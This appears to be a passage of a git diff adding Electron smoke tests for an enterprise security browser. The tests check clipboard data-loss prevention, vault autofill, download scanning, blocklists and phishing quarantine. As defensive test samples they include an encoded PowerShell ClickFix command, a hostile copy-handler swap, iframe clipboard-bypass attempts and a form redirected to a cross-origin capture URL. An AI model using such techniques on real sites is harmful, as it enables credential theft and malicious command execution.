page.executeJavaScript(`(()=>{let node=document.getElementById('clipboard-source');if(!node){node=document.createElement('pre');node.id='clipboard-source';document.body.append(node)}node.textContent=${JSON.stringify(text)};const range=document.createRange();range.selectNodeContents(node);const selection=getSelection();selection.removeAllRanges();selection.addRange(range);})()`);} + try{ + await clipboard.writeText(clipboardSentinel); + await selectClipboardText('Public code example');await clipboardKey('C'); + await clipboardWait(async()=>await clipboard.readText()==='Public code example'); + assert.equal(await clipboard.readText(),'Public code example','Allowed native copy failed'); + await clipboard.writeText(clipboardSentinel);await selectClipboardText('Secret Roadmap');await clipboardKey('C'); + assert.equal(await clipboard.readText(),clipboardSentinel,'Blocked secret reached OS clipboard'); + await selectClipboardText('powershell -NoProfile -EncodedCommand VABFAFMAVAA=');await clipboardKey('C'); + assert.equal(await clipboard.readText(),clipboardSentinel,'ClickFix command reached OS clipboard'); + await selectClipboardText('SAFETYNET_BLOCK_TEST');await clipboardKey('C'); + assert.equal(await clipboard.readText(),clipboardSentinel,'YARA-blocked clipboard text reached OS clipboard'); + await page.executeJavaScript("document.addEventListener('copy',event=>{event.clipboardData.setData('text/plain','Secret Roadmap');event.preventDefault()},{once:true})"); + await selectClipboardText('Public selection despite hostile copy handler');await clipboardKey('C'); + assert.equal((await clipboard.readText()).includes('Secret Roadmap'),false,'Page copy handler bypassed inspection'); + await clipboard.writeText(clipboardSentinel); + await page.executeJavaScript("(()=>{const e=document.getElementById('public-input');e.value='';e.focus()})()");await clipboardKey('V'); + await clipboardWait(async()=>await page.executeJavaScript('document.getElementById("public-input").value')===clipboardSentinel); + assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),clipboardSentinel,'Allowed native paste failed'); + await clipboard.writeText('Secret Roadmap');await clipboardKey('V'); + assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),clipboardSentinel,'Secret was inserted by native paste'); + await page.executeJavaScript("(()=>{const e=document.getElementById('public-input');e.value='Secret Roadmap';e.focus();e.select()})()");await clipboard.writeText(clipboardSentinel);await clipboardKey('X'); + assert.equal(await clipboard.readText(),clipboardSentinel,'Blocked cut wrote OS clipboard');assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),'Secret Roadmap','Blocked cut deleted source'); + await page.executeJavaScript("(()=>{const e=document.getElementById('public-input');e.value='Public cut sample';e.focus();e.select()})()");await clipboardKey('Delete',true); + assert.equal(await clipboard.readText(),'Public cut sample','Allowed Shift+Delete cut failed');assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),'','Allowed cut preserved deleted selection'); + await clipboardKey('Insert',true); + assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),'Public cut sample','Allowed Shift+Insert paste failed'); + await clipboard.writeText(clipboardSentinel); + // Programmatic legacy copy must not acquire the native user gesture capability. + await selectClipboardText('Secret Roadmap');await page.executeJavaScript("document.execCommand('copy')",true);await wait(250); + assert.equal(await clipboard.readText(),clipboardSentinel,'Legacy scripted copy bypassed clipboard gate'); + const clipboardEvents=(await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers:{authorization:`Bearer ${process.env.SAFETYNET_SMOKE_ADMIN}`}})).json()).events.filter(event=>event.kind.startsWith('clipboard.')); + assert.ok(clipboardEvents.some(event=>event.kind==='clipboard.block'),'Clipboard blocks were not centrally audited'); + assert.equal(JSON.stringify(clipboardEvents).includes('Secret Roadmap'),false,'Clipboard contents appeared in audit records'); + assert.equal(JSON.stringify(clipboardEvents).includes('VABFAFMAVAA='),false,'Command contents appeared in audit records'); + log('Native clipboard: safe copy/paste allowed, confidential copy/paste/cut held, ClickFix execution command and hostile copy handler blocked'); + }finally{await clipboard.writeText(originalClipboardText);await page.executeJavaScript("document.getElementById('clipboard-source')?.remove();document.getElementById('public-input').value=''");} + const connection=await win.webContents.executeJavaScript('window.safetynet.agentConnection()');assert.equal(connection.ok,true,connection.error); + const agentRequest=path.join(process.env.SAFETYNET_SMOKE_USERDATA,'agent-request.json'); + async function localAgent(body){ + fs.writeFileSync(agentRequest,JSON.stringify(body)); + const child=require('node:child_process').spawn(process.execPath,['scripts/agent-client.cjs','--connection',connection.data.credentialPath,'--request',agentRequest],{stdio:['ignore','pipe','pipe'],windowsHide:true});let output='',errors='';child.stdout.on('data',c=>output+=c);child.stderr.on('data',c=>errors+=c); + const exit=await new Promise((resolve,reject)=>{child.on('exit',resolve);child.on('error',reject);});return {exit,output,errors}; + } + const sessionResult=await localAgent({action:'sessions'});assert.equal(sessionResult.exit,0,sessionResult.errors);const sessionId=JSON.parse(sessionResult.output).result[0].id;assert.match(sessionId,/^[0-9a-f-]{36}$/i);assert.equal(sessionId,(await win.webContents.executeJavaScript('window.safetynet.state()')).data.activeTabId); + const readResult=await localAgent({action:'read',args:{sessionId}});assert.equal(readResult.exit,0,readResult.errors);assert.equal(readResult.output.includes('never-export-this'),false); + const typeResult=await localAgent({action:'type',args:{sessionId,selector:'#public-input',text:'Agent typed public text'}});assert.equal(typeResult.exit,0,typeResult.errors);assert.equal(await page.executeJavaScript('document.getElementById("public-input").value'),'Agent typed public text'); + const deniedType=await localAgent({action:'type',args:{sessionId,selector:'#private-input',text:'forbidden'}});assert.equal(deniedType.exit,1); + log('Authenticated agent sessions, sanitized read, type and sensitive-field denial passed'); + async function agentApp(action,args={}){const response=await localAgent({action,args});assert.equal(response.exit,0,response.errors);return JSON.parse(response.output).result;} + const appStatus=await agentApp('application:state');assert.equal(appStatus.activeTabId,sessionId); + await agentApp('settings:update',{appearance:{mode:'dark'}});assert.equal((await agentApp('settings:get')).appearance.mode,'dark'); + const library=await agentApp('bookmarks:list');const bookmark={id:'agent-native-proof',title:'Public fixture bookmark',url:url+'/'}; + await agentApp('bookmarks:mutate',{action:'add',bookmark,expectedRevision:library.personal.revision,policyVersion:library.policyVersion}); + const updatedLibrary=await agentApp('bookmarks:list');assert.equal(updatedLibrary.personal.items.some(item=>item.id===bookmark.id),true); + await agentApp('bookmarks:mutate',{action:'delete',id:bookmark.id,expectedRevision:updatedLibrary.personal.revision,policyVersion:updatedLibrary.policyVersion}); + const createdTab=await agentApp('tabs:create',{group:'Agent proof'});assert.notEqual(createdTab.sessionId,sessionId); + await agentApp('tabs:group',{sessionId:createdTab.sessionId,group:'Public work'}); + await agentApp('tabs:activate',{sessionId});await agentApp('tabs:close',{sessionId:createdTab.sessionId}); + assert.equal((await agentApp('application:state')).activeTabId,sessionId); + log('First-class agent settings, centrally revisioned bookmarks and native tab controls passed'); + const fixtureMaster='fixture-master-password-for-smoke-only'; + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.vaultCreate(${JSON.stringify(fixtureMaster)})`)).ok,true); + const generated=await win.webContents.executeJavaScript('window.safetynet.vaultGenerate()');assert.equal(generated.ok,true);assert.equal(generated.data.length,32); + const login={origin:'https://vault-login.test',label:'Fixture login',username:'fixture-user',password:generated.data}; + const saved=await win.webContents.executeJavaScript(`window.safetynet.vaultSave(${JSON.stringify(login)})`);assert.equal(saved.ok,true); + const listed=await win.webContents.executeJavaScript('window.safetynet.vaultList()');assert.equal(listed.ok,true);assert.equal(listed.data[0].password,undefined); + const encryptedVault=fs.readFileSync(path.join(process.env.SAFETYNET_SMOKE_USERDATA,'password-vault.json'),'utf8');assert.equal(encryptedVault.includes(login.password),false);assert.equal(encryptedVault.includes(login.username),false);assert.equal(encryptedVault.includes(fixtureMaster),false); + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.vaultFill(${JSON.stringify(saved.data.id)})`)).ok,false,'HTTP page accepted vault fill'); + // Protocol fixture exercises Chromium's actual isolated DOM fill; production TLS remains mandatory. + await page.session.protocol.handle('https',request=>{if(new URL(request.url).origin!==login.origin)throw Error('Unexpected fixture origin');return new Response('Vault login fixture
',{headers:{'content-type':'text/html'}});}); + try{ + assert.equal((await win.webContents.executeJavaScript('window.safetynet.navigate("https://vault-login.test/login")')).ok,true); + const beforeScriptedClipboard=await clipboard.readText(); + try{ + await clipboard.writeText(clipboardSentinel); + const scriptWrite=await Promise.race([page.executeJavaScript("navigator.clipboard.writeText('Hidden page clipboard replacement').then(()=>true).catch(()=>false)",true),wait(3000).then(()=>false)]); + assert.equal(scriptWrite,false,'Secure page acquired unguarded Clipboard API write'); + assert.equal(await clipboard.readText(),clipboardSentinel,'Secure page overwrote OS clipboard through Clipboard API'); + await page.executeJavaScript("(()=>{const frame=document.createElement('iframe');frame.id='clipboard-child';frame.srcdoc='

Secret Roadmap

';document.body.append(frame)})()");await wait(350); + const childCapabilities=await page.executeJavaScript("(()=>{const child=document.getElementById('clipboard-child').contentWindow;return [typeof child.require,typeof child.process,typeof child.safetynet]})()"); + assert.deepEqual(childCapabilities,['undefined','undefined','undefined'],'Child frame obtained Node or browser bridge capabilities'); + assert.equal(page.getLastWebPreferences().sandbox,true,'Managed renderer sandbox was disabled'); + await page.executeJavaScript("(()=>{const frame=document.getElementById('clipboard-child');try{const child=frame.contentWindow,d=child.document;if(!d.getElementById('selected'))return;const r=d.createRange();r.selectNodeContents(d.getElementById('selected'));child.getSelection().removeAllRanges();child.getSelection().addRange(r);child.focus();d.execCommand('copy')}catch{}finally{frame.remove()}})()",true);await wait(200); + assert.equal(await clipboard.readText(),clipboardSentinel,'Child frame legacy copy bypassed clipboard protection'); + await page.executeJavaScript("(()=>{const frame=document.createElement('iframe');document.body.append(frame);try{const child=frame.contentWindow,d=child.document;d.body.textContent='Secret Roadmap';const r=d.createRange();r.selectNodeContents(d.body);child.getSelection().removeAllRanges();child.getSelection().addRange(r);child.focus();d.execCommand('copy')}finally{frame.remove()}})()",true);await wait(200); + assert.equal(await clipboard.readText(),clipboardSentinel,'Immediate about:blank child copy bypassed clipboard protection'); + const childReset=await page.executeJavaScript("(()=>{const frame=document.createElement('iframe');document.body.append(frame);try{const child=frame.contentWindow,d=child.document;d.open();d.write('

Secret Roadmap

');d.close();const r=d.createRange();r.selectNodeContents(d.body);child.getSelection().removeAllRanges();child.getSelection().addRange(r);child.focus();d.execCommand('copy');return 'reset-completed'}catch(error){return error.name}finally{frame.remove()}})()",true);await wait(200); + assert.equal(childReset,'SecurityError','Child document replacement was not blocked'); + assert.equal(await clipboard.readText(),clipboardSentinel,'Document reset bypassed child clipboard protection'); + const mainReset=await page.executeJavaScript("(()=>{try{document.open();document.write('

Secret Roadmap

');document.close();const r=document.createRange();r.selectNodeContents(document.body);getSelection().removeAllRanges();getSelection().addRange(r);document.execCommand('copy');return 'reset-completed'}catch(error){return error.name}})()",true);await wait(200); + assert.equal(mainReset,'SecurityError','Main document replacement was not blocked'); + assert.equal(await clipboard.readText(),clipboardSentinel,'Document reset bypassed main-frame clipboard protection'); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.navigate("https://vault-login.test/login")')).ok,true); + }finally{await clipboard.writeText(beforeScriptedClipboard);} + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.vaultFill(${JSON.stringify(saved.data.id)})`)).ok,true,'Exact HTTPS origin fill failed'); + assert.equal(await page.executeJavaScript('document.getElementById("login-user").value'),login.username);assert.equal(await page.executeJavaScript('document.getElementById("login-password").value'),login.password); + assert.equal(await page.executeJavaScript('typeof window.safetynet'),'undefined','Remote site obtained vault bridge'); + await page.executeJavaScript('document.querySelector("form").action="https://different-origin.test/capture"'); + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.vaultFill(${JSON.stringify(saved.data.id)})`)).ok,false,'Cross-origin form accepted password'); + }finally{await page.session.protocol.unhandle('https');await win.webContents.executeJavaScript(`window.safetynet.navigate(${JSON.stringify(url)})`);} + await win.webContents.executeJavaScript('document.getElementById("passwords").click()');await wait(200); + assert.equal(await win.webContents.executeJavaScript('document.getElementById("vault").hidden'),false); + try{fs.writeFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'browser-vault.png'),(await win.webContents.capturePage()).toPNG());}catch{log('Vault screenshot unavailable');} + win.emit('blur');await wait(100);assert.equal((await win.webContents.executeJavaScript('window.safetynet.vaultStatus()')).data.locked,true); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.vaultList()')).ok,false); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.vaultUnlock("wrong-fixture-password-only")')).ok,false); + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.vaultUnlock(${JSON.stringify(fixtureMaster)})`)).ok,true); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.vaultList()')).data.length,1); + await win.webContents.executeJavaScript('document.getElementById("vault-close").click()');await wait(100); + log('Real local vault: native ML-KEM, DPAPI, encrypted storage, masked metadata, isolated exact-HTTPS fill, hostile form denial, blur lock and reopen passed'); + const {dialog}=require('electron'),originalSave=dialog.showSaveDialog;let saveCalls=0; + dialog.showSaveDialog=async(_win,options)=>{saveCalls++;return {canceled:false,filePath:path.join(process.env.SAFETYNET_SMOKE_USERDATA,path.basename(options.defaultPath))};}; + try{ + await page.executeJavaScript('document.getElementById("safe-download").click()'); + const safeFile=path.join(process.env.SAFETYNET_SMOKE_USERDATA,'safe.bin');for(let n=0;n<600;n++){if(fs.existsSync(safeFile)&&fs.statSync(safeFile).size===5)break;await wait(100);} + assert.equal(fs.existsSync(safeFile),true,'Scanned benign download was not released');assert.deepEqual(fs.readFileSync(safeFile),Buffer.from([0,1,2,3,255]));assert.equal(saveCalls,1); + await page.executeJavaScript('document.getElementById("blocked-download").click()'); + for(let n=0;n<300;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(s.data.message.startsWith('Download blocked:'))break;await wait(100);} + assert.equal(fs.existsSync(path.join(process.env.SAFETYNET_SMOKE_USERDATA,'blocked.bin')),false);assert.equal(saveCalls,1,'Blocked download reached save dialog'); + log('Real YARA download gate: safe binary saved; blocked file never reaches save dialog/filesystem'); + }finally{dialog.showSaveDialog=originalSave;} + const sample=path.join(process.env.SAFETYNET_SMOKE_USERDATA,'secret-sample.docx'); + const runtime=path.resolve('.runtime/windows/python/python.exe'); + if(fs.existsSync(runtime)){ + const create=require('node:child_process').spawnSync(runtime,['-c','import sys,zipfile; z=zipfile.ZipFile(sys.argv[1],"w"); z.writestr("word/document.xml",\'Secret Roadmap\'); z.close()',sample],{encoding:'utf8',windowsHide:true});assert.equal(create.status,0,create.stderr); + const {dialog}=require('electron'),originalChooser=dialog.showOpenDialog; + dialog.showOpenDialog=async()=>({canceled:false,filePaths:[sample]}); + try{const inspection=await win.webContents.executeJavaScript('window.safetynet.inspectFile()');assert.equal(inspection.ok,true,inspection.error);assert.equal(inspection.data.ruleId,'secret-roadmap');assert.equal(inspection.data.contentType,'office');}finally{dialog.showOpenDialog=originalChooser;} + log('Bundled local document inspection passed'); + } + await page.executeJavaScript(`fetch(${JSON.stringify(url+'/sink')},{method:'POST',body:new Uint8Array([255,254])}).catch(()=>{})`); + assert.equal((await (await fetch(url+'/count')).json()).posts,1,'Binary upload reached the destination'); + log('Capturing browser'); + try{fs.writeFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'browser.png'),(await win.webContents.capturePage()).toPNG());}catch(e){log('Screenshot unavailable: '+e.message);} + log('Loading admin console'); + const admin=new BrowserWindow({show:false,width:1440,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true}}); + await admin.loadURL(process.env.SAFETYNET_SMOKE_SERVER); + await admin.webContents.executeJavaScript(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_SMOKE_ADMIN)};document.getElementById('connect').click();`); + for(let n=0;n<30;n++){if(await admin.webContents.executeJavaScript('!document.getElementById("workspace").hidden'))break;await wait(100);} + assert.equal(await admin.webContents.executeJavaScript('document.getElementById("workspace").hidden'),false); + try{fs.writeFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'admin.png'),(await admin.webContents.capturePage()).toPNG());}catch(e){log('Screenshot unavailable: '+e.message);} + const headers={authorization:`Bearer ${process.env.SAFETYNET_SMOKE_ADMIN}`,'content-type':'application/json'}; + const secondary=process.env.SAFETYNET_SMOKE_SECONDARY; + assert.equal(await page.executeJavaScript(`fetch(${JSON.stringify(secondary)}).then(r=>r.text())`),'secondary'); + const beforeDNS=(await (await fetch(url+'/count')).json()).secondaryRequests; + const blocklistUpdate=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/security/blocklists`,{method:'PUT',headers,body:JSON.stringify({expectedVersion:1,blockedHosts:['blocked.test'],blockedIPs:['127.0.0.2']})});assert.equal(blocklistUpdate.status,200); + for(let n=0;n<200;n++){const updated=await win.webContents.executeJavaScript('window.safetynet.state()');if(updated.data.ready&&updated.data.policyVersion===2)break;await wait(100);} + assert.equal(await page.executeJavaScript(`fetch(${JSON.stringify(secondary)}).then(()=>false).catch(()=>true)`),true); + assert.equal((await (await fetch(url+'/count')).json()).secondaryRequests,beforeDNS,'Blocked IP receiver got the request');log('Live DNS/IP blocklist prevented a previously working destination'); + const overview=await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers})).json(); + const managedPolicy=overview.policy;managedPolicy.version+=1;managedPolicy.security.dns.blockedIPs=[];managedPolicy.proxy={mode:'fixed_servers',rules:`http=127.0.0.1:${new URL(url).port}`,bypass:''}; + const publication=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(managedPolicy)});assert.equal(publication.status,200); + for(let n=0;n<180;n++){const updated=await win.webContents.executeJavaScript('window.safetynet.state()');if(updated.data.ready&&updated.data.policyVersion===3)break;await wait(100);} + const navigation=await win.webContents.executeJavaScript(`window.safetynet.navigate('http://proxy-check.invalid/')`);assert.equal(navigation.ok,true,navigation.error); + assert.ok((await (await fetch(url+'/count')).json()).proxyRequests>0,'Managed proxy did not receive browser navigation');log('Managed proxy enforcement passed'); + const reference='The confidential engineering roadmap contains restricted architecture budgets and unreleased customer contracts.'; + const draftResponse=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/teaching`,{method:'POST',headers,body:JSON.stringify({label:'Internal engineering reference',filename:'internal.txt',data:Buffer.from(reference).toString('base64')})});assert.equal(draftResponse.status,200); + const draft=await draftResponse.json();assert.equal(draft.status,'draft');assert.ok(draft.reference.fragmentHashes.length>0); + const publicationResponse=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/teaching/${draft.id}/publish`,{method:'POST',headers,body:JSON.stringify({expectedVersion:3,approve:true})});assert.equal(publicationResponse.status,200); + for(let n=0;n<200;n++){const updated=await win.webContents.executeJavaScript('window.safetynet.state()');if(updated.data.ready&&updated.data.policyVersion===4)break;await wait(100);} + await page.executeJavaScript("fetch('/sink',{method:'POST',body:'Public text after teaching'}).then(r=>r.text())"); + const beforeExcerpt=(await (await fetch(url+'/count')).json()).posts; + const excerpt='Public preface: engineering roadmap contains restricted architecture budgets and unreleased customer contracts. Public appendix.'; + assert.equal(await page.executeJavaScript(`fetch('/sink',{method:'POST',body:${JSON.stringify(excerpt)}}).then(()=>false).catch(()=>true)`),true); + assert.equal((await (await fetch(url+'/count')).json()).posts,beforeExcerpt,'Registered confidential excerpt reached external receiver'); + log('Governed document teaching published signed fragment rules and blocked an altered excerpt before transmission'); + for(const [enabled,version] of [[false,5],[true,6]]){ + const toggle=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/devices/${result.data.deviceId}/inspection`,{method:'PATCH',headers,body:JSON.stringify({expectedVersion:version-1,documentAnalysisEnabled:enabled})});assert.equal(toggle.status,200); + for(let n=0;n<200;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(s.data.ready&&s.data.policyVersion===version)break;await wait(100);} + const scanState=await win.webContents.executeJavaScript('window.safetynet.state()');assert.equal(scanState.data.documentScanEnabled,enabled); + if(!enabled){const scan=await win.webContents.executeJavaScript('window.safetynet.inspectFile()');assert.equal(scan.ok,false);assert.match(scan.error,/disabled/);assert.equal(await page.executeJavaScript(`fetch('/sink',{method:'POST',body:'Secret Roadmap'}).then(()=>false).catch(()=>true)`),true);} + } + log('Signed per-browser document-analysis switch changed manual scanning without disabling mandatory DLP'); + const displayPolicy=(await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers})).json()).policy; + displayPolicy.version+=1;displayPolicy.security.content.blockedPhrases=['restricted-display-marker']; + const displayPublication=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(displayPolicy)});assert.equal(displayPublication.status,200); + for(let n=0;n<200;n++){const updated=await win.webContents.executeJavaScript('window.safetynet.state()');if(updated.data.ready&&updated.data.policyVersion===7)break;await wait(100);} + await page.executeJavaScript("document.body.append('restricted-display-marker')"); + for(let n=0;n<50;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(!s.data.ready)break;await wait(100);} + const contentState=await win.webContents.executeJavaScript('window.safetynet.state()');assert.equal(contentState.data.ready,false);assert.equal(contentState.data.message,'This page contains content blocked by company policy.'); + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.navigate(${JSON.stringify(page.getURL()+'#same-document')})`)).ok,false,'Hash-only navigation escaped content quarantine'); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.navigate("wss://example.test/")')).ok,false,'Unsupported navigation cleared quarantine'); + assert.equal((await win.webContents.executeJavaScript('window.safetynet.state()')).data.ready,false); + log('Live signed content rule quarantined a changed document through isolated preload'); + displayPolicy.version+=1;displayPolicy.security.content.blockedPhrases=[]; + assert.equal((await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(displayPolicy)})).status,200); + for(let n=0;n<200;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(s.data.ready&&s.data.policyVersion===8)break;await wait(100);} + assert.equal((await win.webContents.executeJavaScript('window.safetynet.state()')).data.ready,true); + const visualLogin='Visual identity fixture

SafetyNet Identity Lab

Sign in

Use your laboratory account

'; + await page.session.protocol.handle('https',request=>{if(new URL(request.url).origin!=='https://identity.example.test')throw Error('Unexpected visual fixture URL');return new Response(visualLogin,{headers:{'content-type':'text/html'}});}); + log('Visual fixture: navigating approved origin'); + await Promise.race([win.webContents.executeJavaScript('window.safetynet.navigate("https://identity.example.test/login")'),wait(15000).then(()=>{throw Error('Visual fixture navigation timed out');})]);await wait(400); + log('Visual fixture: capturing approved form'); + const formRect=await page.executeJavaScript('(()=>{const r=document.querySelector("form").getBoundingClientRect();return {x:Math.floor(r.x),y:Math.floor(r.y),width:Math.ceil(r.width),height:Math.ceil(r.height)}})()'); + const referencePNG=await require('../apps/browser/visual-capture.cjs').capturePNG(page,formRect); + const referenceResponse=await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/security/visual-reference`,{method:'POST',headers,body:JSON.stringify({expectedVersion:8,brandId:'identity-lab',label:'Controlled Identity Lab',allowedOrigins:['https://identity.example.test'],data:referencePNG.toString('base64'),scope:'login-form'})});assert.equal(referenceResponse.status,200);const visualDraft=await referenceResponse.json(); + const visualPolicy=(await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers})).json()).policy;visualPolicy.version++;visualDraft.brand.requiredText=['SafetyNet Identity Lab'];visualPolicy.security.visualPhishing={enabled:true,failClosed:true,brands:[visualDraft.brand]}; + assert.equal((await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(visualPolicy)})).status,200); + for(let n=0;n<200;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(s.data.ready&&s.data.policyVersion===9&&!s.data.loginCheckPending)break;await wait(100);} + assert.equal((await win.webContents.executeJavaScript('window.safetynet.state()')).data.ready,true,'Approved visual origin blocked'); + const postsBeforePhish=(await (await fetch(url+'/count')).json()).posts; + await win.webContents.executeJavaScript(`window.safetynet.navigate(${JSON.stringify(url+'/visual-login')})`); + for(let n=0;n<120;n++){const s=await win.webContents.executeJavaScript('window.safetynet.state()');if(!s.data.ready)break;await wait(100);} + const phishingState=(await win.webContents.executeJavaScript('window.safetynet.state()')).data;assert.equal(phishingState.ready,false);assert.equal(phishingState.message,'Blocked: this login resembles a protected brand on an unapproved origin.'); + assert.equal((await win.webContents.executeJavaScript(`window.safetynet.navigate(${JSON.stringify(page.getURL()+'#same-document')})`)).ok,false,'Hash-only navigation escaped visual quarantine'); + let visualEvents;await clipboardWait(async()=>{visualEvents=(await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers})).json()).events;return visualEvents.some(e=>e.kind==='phishing.block'&&e.metadata.ruleId==='identity-lab');});assert.ok(visualEvents.some(e=>e.kind==='phishing.block'&&e.metadata.ruleId==='identity-lab'),'Visual brand decision was not audited'); + assert.equal((await (await fetch(url+'/count')).json()).posts,postsBeforePhish); + await wait(2500);assert.equal((await win.webContents.executeJavaScript('window.safetynet.state()')).data.ready,false,'Policy refresh cleared phishing quarantine'); + const safeNavigation=await win.webContents.executeJavaScript(`window.safetynet.navigate(${JSON.stringify(url)})`);assert.equal(safeNavigation.ok,true,safeNavigation.error); + await page.session.protocol.unhandle('https'); + log('Real screenshot-derived pHash: trusted origin allowed, identical login at unlisted origin blocked, no payload released, quarantine survived refresh and safe navigation recovered'); + const managedClipboardPolicy=(await (await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/overview`,{headers})).json()).policy; + const liveClipboardOriginal=await clipboard.readText(); + try{ + for(const allowed of [false,true]){ + // A new policy intentionally reloads the managed document. Observe that + // reload before selecting text; otherwise the guard correctly rejects a + // selection whose document is replaced during inspection. + let policyDocumentLoaded=false;const onPolicyLoad=()=>{policyDocumentLoaded=true;}; + page.once('did-finish-load',onPolicyLoad); + managedClipboardPolicy.version++;managedClipboardPolicy.security.clipboard.allowCopy=allowed; + assert.equal((await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(managedClipboardPolicy)})).status,200); + await clipboardWait(async()=>{const s=(await win.webContents.executeJavaScript('window.safetynet.state()')).data;return s.ready&&s.policyVersion===managedClipboardPolicy.version;}); + await clipboardWait(async()=>policyDocumentLoaded&&!page.isLoading());page.removeListener('did-finish-load',onPolicyLoad); + await clipboard.writeText(clipboardSentinel);await selectClipboardText('Public live-policy sample'); + // Adding the synthetic selection node triggers the preload's 150 ms + // visual-mutation debounce. Let that new document revision be checked + // before starting the deliberately slower isolated YARA scan. + await page.executeJavaScript('new Promise(resolve=>setTimeout(resolve,250))'); + await clipboardWait(async()=>{const s=(await win.webContents.executeJavaScript('window.safetynet.state()')).data;return s.ready&&!s.loginCheckPending;}); + await clipboardKey('C'); + if(allowed&&await clipboard.readText()!=='Public live-policy sample'){const s=(await win.webContents.executeJavaScript('window.safetynet.state()')).data;log('Live copy gate state: '+JSON.stringify({ready:s.ready,policyVersion:s.policyVersion,message:s.message,clipboardPending:s.clipboardPending,loginCheckPending:s.loginCheckPending}));} + assert.equal(await clipboard.readText(),allowed?'Public live-policy sample':clipboardSentinel,'Native copy ignored centrally published permission'); + await clipboard.writeText(clipboardSentinel);const share=await win.webContents.executeJavaScript('window.safetynet.shareURL()'); + assert.equal(share.ok,allowed,'Share ignored centrally published copy permission'); + assert.equal(await clipboard.readText(),allowed?new URL(url).toString():clipboardSentinel,'Share clipboard effect did not match signed copy policy'); + } + log('Live signed clipboard permission blocked and re-enabled native Copy and Share without restart'); + }finally{await clipboard.writeText(liveClipboardOriginal);await page.executeJavaScript("document.getElementById('clipboard-source')?.remove()");} + await fetch(`${process.env.SAFETYNET_SMOKE_SERVER}/api/admin/devices/${result.data.deviceId}/revoke`,{method:'POST',headers,body:'{}'}); + for(let n=0;n<180;n++){const state=await win.webContents.executeJavaScript('window.safetynet.state()');if(!state.data.ready)break;await wait(100);} + assert.equal((await win.webContents.executeJavaScript('window.safetynet.state()')).data.ready,false,'Revocation did not quarantine browser'); + console.log('Electron smoke passed: enrollment, clipboard DLP/ClickFix and live permissions, sandboxed frame bypass tests, agents, YARA pre-save downloads, local documents, live DNS/content, proxy, governed teaching and revocation.'); + require('../apps/browser/page-clipboard-guard.cjs').disposePageClipboardGuard(page); + app.exit(0); + }catch(e){fs.appendFileSync(path.join(process.env.SAFETYNET_SMOKE_ARTIFACTS,'smoke-entry.txt'),e.stack+'\n');console.error(e.stack);app.exit(1);} +}); diff --git a/scripts/enterprise-admin-smoke.cjs b/scripts/enterprise-admin-smoke.cjs new file mode 100644 index 0000000..8a780bb --- /dev/null +++ b/scripts/enterprise-admin-smoke.cjs @@ -0,0 +1,37 @@ +'use strict'; +const {app,BrowserWindow}=require('electron');const assert=require('node:assert/strict');const fs=require('node:fs');const path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);app.commandLine.appendSwitch('force-device-scale-factor','1'); +let window;const deadline=setTimeout(()=>{console.error('ADMIN_UI_PROOF_TIMEOUT');app.exit(1);},50000); +async function evaluate(source){return window.webContents.executeJavaScript(source,true);} +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Administrator UI state did not arrive');} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + await evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require,bridge:typeof safetynet})`),{node:'undefined',require:'undefined',bridge:'undefined'}); + const 